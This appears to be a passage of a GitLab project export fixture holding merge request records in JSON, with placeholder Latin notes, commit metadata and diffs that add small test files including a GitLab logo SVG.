+{"id":13,"target_branch":"improve/awesome","source_branch":"test-8","source_project_id":5,"author_id":16,"assignee_id":25,"title":"Voluptates consequatur eius nemo amet libero animi illum delectus tempore.","created_at":"2016-06-14T15:02:24.415Z","updated_at":"2016-06-14T15:02:59.958Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":5,"description":"Est eaque quasi qui qui. Similique voluptatem impedit iusto ratione reprehenderit. Itaque est illum ut nulla aut.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":793,"note":"In illum maxime aperiam nulla est aspernatur.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:59.782Z","updated_at":"2016-06-14T15:02:59.782Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[{"merge_request_diff_id":14,"id":529,"target_type":"Note","target_id":793,"project_id":4,"created_at":"2016-07-07T14:35:12.128Z","updated_at":"2016-07-07T14:35:12.128Z","action":6,"author_id":1}]},{"id":794,"note":"Enim quia perferendis cum distinctio tenetur optio voluptas veniam.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:59.807Z","updated_at":"2016-06-14T15:02:59.807Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":795,"note":"Dolor ad quia quis pariatur ducimus.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:59.831Z","updated_at":"2016-06-14T15:02:59.831Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":796,"note":"Et a odio voluptate aut.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:59.854Z","updated_at":"2016-06-14T15:02:59.854Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":797,"note":"Quis nihil temporibus voluptatum modi minima a ut.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:59.879Z","updated_at":"2016-06-14T15:02:59.879Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":798,"note":"Ut alias consequatur in nostrum.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:59.904Z","updated_at":"2016-06-14T15:02:59.904Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":799,"note":"Voluptatibus aperiam assumenda et neque sint libero.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:59.926Z","updated_at":"2016-06-14T15:02:59.926Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":800,"note":"Veritatis voluptatem dolor dolores magni quo ut ipsa fuga.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:59.956Z","updated_at":"2016-06-14T15:02:59.956Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":13,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":13,"relative_order":0,"sha":"0bfedc29d30280c7e8564e19f654584b459e5868","message":"fixes #10\n","authored_date":"2016-01-19T15:25:23.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T15:25:23.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es","commit_author":{"name":"James Lopez","email":"james@jameslopez.es"},"committer":{"name":"James Lopez","email":"james@jameslopez.es"}},{"merge_request_diff_id":13,"relative_order":1,"sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","message":"Merge branch 'master' into 'master'\r\n\r\nLFS object pointer.\r\n\r\n\r\n\r\nSee merge request !6","authored_date":"2015-12-07T12:52:12.000+01:00","author_name":"Marin Jankovski","author_email":"marin@gitlab.com","committed_date":"2015-12-07T12:52:12.000+01:00","committer_name":"Marin Jankovski","committer_email":"marin@gitlab.com","commit_author":{"name":"Marin Jankovski","email":"marin@gitlab.com"},"committer":{"name":"Marin Jankovski","email":"marin@gitlab.com"}},{"merge_request_diff_id":13,"relative_order":2,"sha":"048721d90c449b244b7b4c53a9186b04330174ec","message":"LFS object pointer.\n","authored_date":"2015-12-07T11:54:28.000+01:00","author_name":"Marin Jankovski","author_email":"maxlazio@gmail.com","committed_date":"2015-12-07T11:54:28.000+01:00","committer_name":"Marin Jankovski","committer_email":"maxlazio@gmail.com","commit_author":{"name":"Marin Jankovski","email":"maxlazio@gmail.com"},"committer":{"name":"Marin Jankovski","email":"maxlazio@gmail.com"}},{"merge_request_diff_id":13,"relative_order":3,"sha":"5f923865dde3436854e9ceb9cdb7815618d4e849","message":"GitLab currently doesn't support patches that involve a merge commit: add a commit here\n","authored_date":"2015-11-13T16:27:12.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T16:27:12.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":13,"relative_order":4,"sha":"d2d430676773caa88cdaf7c55944073b2fd5561a","message":"Merge branch 'add-svg' into 'master'\r\n\r\nAdd GitLab SVG\r\n\r\nAdded to test preview of sanitized SVG images\r\n\r\nSee merge request !5","authored_date":"2015-11-13T08:50:17.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:50:17.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":13,"relative_order":5,"sha":"2ea1f3dec713d940208fb5ce4a38765ecb5d3f73","message":"Add GitLab SVG\n","authored_date":"2015-11-13T08:39:43.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:39:43.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":13,"relative_order":6,"sha":"59e29889be61e6e0e5e223bfa9ac2721d31605b8","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd whitespace test file\r\n\r\nSorry, I did a mistake.\r\nGit ignore empty files.\r\nSo I add a new whitespace test file.\r\n\r\nSee merge request !4","authored_date":"2015-11-13T07:21:40.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T07:21:40.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":13,"relative_order":7,"sha":"66eceea0db202bb39c4e445e8ca28689645366c5","message":"add spaces in whitespace file\n","authored_date":"2015-11-13T06:01:27.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:01:27.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":13,"relative_order":8,"sha":"08f22f255f082689c0d7d39d19205085311542bc","message":"remove empty file.(beacase git ignore empty file)\nadd whitespace test file.\n","authored_date":"2015-11-13T06:00:16.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:00:16.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":13,"relative_order":9,"sha":"19e2e9b4ef76b422ce1154af39a91323ccc57434","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd spaces\r\n\r\nTo test this pull request.(https://github.com/gitlabhq/gitlabhq/pull/9757)\r\nJust add whitespaces.\r\n\r\nSee merge request !3","authored_date":"2015-11-13T05:23:14.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T05:23:14.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":13,"relative_order":10,"sha":"c642fe9b8b9f28f9225d7ea953fe14e74748d53b","message":"add whitespace in empty\n","authored_date":"2015-11-13T05:08:45.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:45.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":13,"relative_order":11,"sha":"9a944d90955aaf45f6d0c88f30e27f8d2c41cec0","message":"add empty file\n","authored_date":"2015-11-13T05:08:04.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:04.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":13,"relative_order":12,"sha":"c7fbe50c7c7419d9701eebe64b1fdacc3df5b9dd","message":"Add ISO-8859 test file\n","authored_date":"2015-08-25T17:53:12.000+02:00","author_name":"Stan Hu","author_email":"stanhu@packetzoom.com","committed_date":"2015-08-25T17:53:12.000+02:00","committer_name":"Stan Hu","committer_email":"stanhu@packetzoom.com","commit_author":{"name":"Stan Hu","email":"stanhu@packetzoom.com"},"committer":{"name":"Stan Hu","email":"stanhu@packetzoom.com"}},{"merge_request_diff_id":13,"relative_order":13,"sha":"e56497bb5f03a90a51293fc6d516788730953899","message":"Merge branch 'tree_helper_spec' into 'master'\n\nAdd directory structure for tree_helper spec\n\nThis directory structure is needed for a testing the method flatten_tree(tree) in the TreeHelper module\n\nSee [merge request #275](https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/275#note_732774)\n\nSee merge request !2\n","authored_date":"2015-01-10T22:23:29.000+01:00","author_name":"Sytse Sijbrandij","author_email":"sytse@gitlab.com","committed_date":"2015-01-10T22:23:29.000+01:00","committer_name":"Sytse Sijbrandij","committer_email":"sytse@gitlab.com","commit_author":{"name":"Sytse Sijbrandij","email":"sytse@gitlab.com"},"committer":{"name":"Sytse Sijbrandij","email":"sytse@gitlab.com"}},{"merge_request_diff_id":13,"relative_order":14,"sha":"4cd80ccab63c82b4bad16faa5193fbd2aa06df40","message":"add directory structure for tree_helper spec\n","authored_date":"2015-01-10T21:28:18.000+01:00","author_name":"marmis85","author_email":"marmis85@gmail.com","committed_date":"2015-01-10T21:28:18.000+01:00","committer_name":"marmis85","committer_email":"marmis85@gmail.com","commit_author":{"name":"marmis85","email":"marmis85@gmail.com"},"committer":{"name":"marmis85","email":"marmis85@gmail.com"}}],"merge_request_diff_files":[{"merge_request_diff_id":13,"relative_order":0,"utf8_diff":"--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -1,4 +1,6 @@\n-v 6.7.0\n+v6.8.0\n+\n+v6.7.0\n - Add support for Gemnasium as a Project Service (Olivier Gonzalez)\n - Add edit file button to MergeRequest diff\n - Public groups (Jason Hollingsworth)\n","new_path":"CHANGELOG","old_path":"CHANGELOG","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":1,"utf8_diff":"--- /dev/null\n+++ b/encoding/iso8859.txt\n@@ -0,0 +1 @@\n+Äü\n","new_path":"encoding/iso8859.txt","old_path":"encoding/iso8859.txt","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":2,"utf8_diff":"--- /dev/null\n+++ b/files/images/wm.svg\n@@ -0,0 +1,78 @@\n+<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n+<svg width=\"1300px\" height=\"680px\" viewBox=\"0 0 1300 680\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n+ <!-- Generator: Sketch 3.2.2 (9983) - http://www.bohemiancoding.com/sketch -->\n+ <title>wm</title>\n+ <desc>Created with Sketch.</desc>\n+ <defs>\n+ <path id=\"path-1\" d=\"M-69.8,1023.54607 L1675.19996,1023.54607 L1675.19996,0 L-69.8,0 L-69.8,1023.54607 L-69.8,1023.54607 Z\"></path>\n+ </defs>\n+ <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n+ <path d=\"M1300,680 L0,680 L0,0 L1300,0 L1300,680 L1300,680 Z\" id=\"bg\" fill=\"#30353E\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"gitlab_logo\" sketch:type=\"MSLayerGroup\" transform=\"translate(-262.000000, -172.000000)\">\n+ <g id=\"g10\" transform=\"translate(872.500000, 512.354581) scale(1, -1) translate(-872.500000, -512.354581) translate(0.000000, 0.290751)\">\n+ <g id=\"g12\" transform=\"translate(1218.022652, 440.744871)\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\">\n+ <path d=\"M-50.0233338,141.900706 L-69.07059,141.900706 L-69.0100967,0.155858152 L8.04444805,0.155858152 L8.04444805,17.6840847 L-49.9628405,17.6840847 L-50.0233338,141.900706 L-50.0233338,141.900706 Z\" id=\"path14\"></path>\n+ </g>\n+ <g id=\"g16\">\n+ <g id=\"g18-Clipped\">\n+ <mask id=\"mask-2\" sketch:name=\"path22\" fill=\"white\">\n+ <use xlink:href=\"#path-1\"></use>\n+ </mask>\n+ <g id=\"path22\"></g>\n+ <g id=\"g18\" mask=\"url(#mask-2)\">\n+ <g transform=\"translate(382.736659, 312.879425)\">\n+ <g id=\"g24\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(852.718192, 124.992771)\">\n+ <path d=\"M63.9833317,27.9148929 C59.2218085,22.9379001 51.2134221,17.9597442 40.3909323,17.9597442 C25.8888194,17.9597442 20.0453962,25.1013043 20.0453962,34.4074318 C20.0453962,48.4730484 29.7848226,55.1819277 50.5642821,55.1819277 C54.4602853,55.1819277 60.7364685,54.7492469 63.9833317,54.1002256 L63.9833317,27.9148929 L63.9833317,27.9148929 Z M44.2869356,113.827628 C28.9053426,113.827628 14.7975996,108.376082 3.78897657,99.301416 L10.5211864,87.6422957 C18.3131929,92.1866076 27.8374026,96.7320827 41.4728323,96.7320827 C57.0568452,96.7320827 63.9833317,88.7239978 63.9833317,75.3074024 L63.9833317,68.3821827 C60.9528485,69.0312039 54.6766653,69.4650479 50.7806621,69.4650479 C17.4476729,69.4650479 0.565379986,57.7791759 0.565379986,33.3245665 C0.565379986,11.4683685 13.9844297,0.43151772 34.3299658,0.43151772 C48.0351955,0.43151772 61.1692285,6.70771614 65.7143717,16.8780421 L69.1776149,3.02876588 L82.5978279,3.02876588 L82.5978279,75.5237428 C82.5978279,98.462806 72.6408582,113.827628 44.2869356,113.827628 L44.2869356,113.827628 Z\" id=\"path26\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g28\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(959.546624, 124.857151)\">\n+ <path d=\"M37.2266657,17.4468081 C30.0837992,17.4468081 23.8064527,18.3121698 19.0449295,20.4767371 L19.0449295,79.2306079 L19.0449295,86.0464943 C25.538656,91.457331 33.5470425,95.3526217 43.7203922,95.3526217 C62.1173451,95.3526217 69.2602116,82.3687072 69.2602116,61.3767077 C69.2602116,31.5135879 57.7885819,17.4468081 37.2266657,17.4468081 M45.2315622,113.963713 C28.208506,113.963713 19.0449295,102.384849 19.0449295,102.384849 L19.0449295,120.67143 L18.9844362,144.908535 L10.3967097,144.908535 L0.371103324,144.908535 L0.431596656,6.62629771 C9.73826309,2.73100702 22.5081728,0.567602823 36.3611458,0.567602823 C71.8579349,0.567602823 88.9566078,23.2891625 88.9566078,62.4584098 C88.9566078,93.4043948 73.1527248,113.963713 45.2315622,113.963713\" id=\"path30\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g32\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(509.576747, 125.294950)\">\n+ <path d=\"M68.636665,129.10638 C85.5189579,129.10638 96.3414476,123.480366 103.484314,117.853189 L111.669527,132.029302 C100.513161,141.811145 85.5073245,147.06845 69.5021849,147.06845 C29.0274926,147.06845 0.673569983,122.3975 0.673569983,72.6252464 C0.673569983,20.4709215 31.2622559,0.12910638 66.2553217,0.12910638 C83.7879179,0.12910638 98.7227909,4.24073748 108.462217,8.35236859 L108.063194,64.0763105 L108.063194,70.6502677 L108.063194,81.6057001 L56.1168719,81.6057001 L56.1168719,64.0763105 L89.2323178,64.0763105 L89.6313411,21.7701271 C85.3025779,19.6055598 77.7269514,17.8748364 67.554765,17.8748364 C39.4172223,17.8748364 20.5863462,35.5717154 20.5863462,72.8415868 C20.5863462,110.711628 40.0663623,129.10638 68.636665,129.10638\" id=\"path34\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g36\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(692.388992, 124.376085)\">\n+ <path d=\"M19.7766662,145.390067 L1.16216997,145.390067 L1.2226633,121.585642 L1.2226633,111.846834 L1.2226633,106.170806 L1.2226633,96.2656714 L1.2226633,39.5681976 L1.2226633,39.3518572 C1.2226633,16.4127939 11.1796331,1.04797161 39.5335557,1.04797161 C43.4504989,1.04797161 47.2836822,1.40388649 51.0051854,2.07965952 L51.0051854,18.7925385 C48.3109055,18.3796307 45.4351455,18.1446804 42.3476589,18.1446804 C26.763646,18.1446804 19.8371595,26.1516022 19.8371595,39.5681976 L19.8371595,96.2656714 L51.0051854,96.2656714 L51.0051854,111.846834 L19.8371595,111.846834 L19.7766662,145.390067 L19.7766662,145.390067 Z\" id=\"path38\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <path d=\"M646.318899,128.021188 L664.933395,128.021188 L664.933395,236.223966 L646.318899,236.223966 L646.318899,128.021188 L646.318899,128.021188 Z\" id=\"path40\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <path d=\"M646.318899,251.154944 L664.933395,251.154944 L664.933395,269.766036 L646.318899,269.766036 L646.318899,251.154944 L646.318899,251.154944 Z\" id=\"path42\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"g44\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.464170, 0.676006)\">\n+ <path d=\"M429.269989,169.815599 L405.225053,243.802859 L357.571431,390.440955 C355.120288,397.984955 344.444378,397.984955 341.992071,390.440955 L294.337286,243.802859 L136.094873,243.802859 L88.4389245,390.440955 C85.9877812,397.984955 75.3118715,397.984955 72.8595648,390.440955 L25.2059427,243.802859 L1.16216997,169.815599 C-1.03187664,163.067173 1.37156997,155.674379 7.11261982,151.503429 L215.215498,0.336141836 L423.319539,151.503429 C429.060589,155.674379 431.462873,163.067173 429.269989,169.815599\" id=\"path46\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g48\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(135.410135, 1.012147)\">\n+ <path d=\"M80.269998,0 L80.269998,0 L159.391786,243.466717 L1.14820997,243.466717 L80.269998,0 L80.269998,0 Z\" id=\"path50\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g52\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path54\"></g>\n+ </g>\n+ <g id=\"g56\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(24.893471, 1.012613)\">\n+ <path d=\"M190.786662,0 L111.664874,243.465554 L0.777106647,243.465554 L190.786662,0 L190.786662,0 Z\" id=\"path58\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g60\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <g id=\"path62\"></g>\n+ </g>\n+ <g id=\"g64\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.077245, 0.223203)\">\n+ <path d=\"M25.5933327,244.255313 L25.5933327,244.255313 L1.54839663,170.268052 C-0.644486651,163.519627 1.75779662,156.126833 7.50000981,151.957046 L215.602888,0.789758846 L25.5933327,244.255313 L25.5933327,244.255313 Z\" id=\"path66\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g68\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path70\"></g>\n+ </g>\n+ <g id=\"g72\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(25.670578, 244.478283)\">\n+ <path d=\"M0,0 L110.887767,0 L63.2329818,146.638096 C60.7806751,154.183259 50.1047654,154.183259 47.6536221,146.638096 L0,0 L0,0 Z\" id=\"path74\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g76\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <path d=\"M0,0 L79.121788,243.465554 L190.009555,243.465554 L0,0 L0,0 Z\" id=\"path78\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g80\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(214.902910, 0.223203)\">\n+ <path d=\"M190.786662,244.255313 L190.786662,244.255313 L214.831598,170.268052 C217.024481,163.519627 214.622198,156.126833 208.879985,151.957046 L0.777106647,0.789758846 L190.786662,244.255313 L190.786662,244.255313 Z\" id=\"path82\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g84\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(294.009575, 244.478283)\">\n+ <path d=\"M111.679997,0 L0.79222998,0 L48.4470155,146.638096 C50.8993221,154.183259 61.5752318,154.183259 64.0263751,146.638096 L111.679997,0 L111.679997,0 Z\" id=\"path86\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+</svg>\n\\ No newline at end of file\n","new_path":"files/images/wm.svg","old_path":"files/images/wm.svg","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":3,"utf8_diff":"--- /dev/null\n+++ b/files/lfs/lfs_object.iso\n@@ -0,0 +1,4 @@\n+version https://git-lfs.github.com/spec/v1\n+oid sha256:91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897\n+size 1575078\n+\n","new_path":"files/lfs/lfs_object.iso","old_path":"files/lfs/lfs_object.iso","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/files/whitespace\n@@ -0,0 +1 @@\n+test \n","new_path":"files/whitespace","old_path":"files/whitespace","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":5,"utf8_diff":"--- /dev/null\n+++ b/foo/bar/.gitkeep\n","new_path":"foo/bar/.gitkeep","old_path":"foo/bar/.gitkeep","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":6,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":13,"created_at":"2016-06-14T15:02:24.420Z","updated_at":"2016-06-14T15:02:24.561Z","base_commit_sha":"5937ac0a7beb003549fc5fd26fc247adbce4a52e","real_size":"7"},"events":[{"id":225,"target_type":"MergeRequest","target_id":13,"project_id":36,"created_at":"2016-06-14T15:02:24.636Z","updated_at":"2016-06-14T15:02:24.636Z","action":1,"author_id":16},{"id":173,"target_type":"MergeRequest","target_id":13,"project_id":5,"created_at":"2016-06-14T15:02:24.636Z","updated_at":"2016-06-14T15:02:24.636Z","action":1,"author_id":16}]}
+{"id":12,"target_branch":"flatten-dirs","source_branch":"test-2","source_project_id":5,"author_id":1,"assignee_id":22,"title":"In a rerum harum nihil accusamus aut quia nobis non.","created_at":"2016-06-14T15:02:24.000Z","updated_at":"2016-06-14T15:03:00.225Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":4,"description":"Nam magnam odit velit rerum. Sapiente dolore sunt saepe debitis. Culpa maiores ut ad dolores dolorem et.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":801,"note":"Nihil dicta molestias expedita atque.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:03:00.001Z","updated_at":"2016-06-14T15:03:00.001Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":802,"note":"Illum culpa voluptas enim accusantium deserunt.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:03:00.034Z","updated_at":"2016-06-14T15:03:00.034Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":803,"note":"Dicta esse aliquam laboriosam unde alias.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:03:00.065Z","updated_at":"2016-06-14T15:03:00.065Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":804,"note":"Dicta autem et sed molestiae ut quae.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:03:00.097Z","updated_at":"2016-06-14T15:03:00.097Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":805,"note":"Ut ut temporibus voluptas dolore quia velit.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:03:00.129Z","updated_at":"2016-06-14T15:03:00.129Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":806,"note":"Dolores similique sint pariatur error id quia fugit aut.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:03:00.162Z","updated_at":"2016-06-14T15:03:00.162Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":807,"note":"Quisquam provident nihil aperiam voluptatem.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:03:00.193Z","updated_at":"2016-06-14T15:03:00.193Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":12,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":808,"note":"Similique quo vero expedita deserunt ipsam 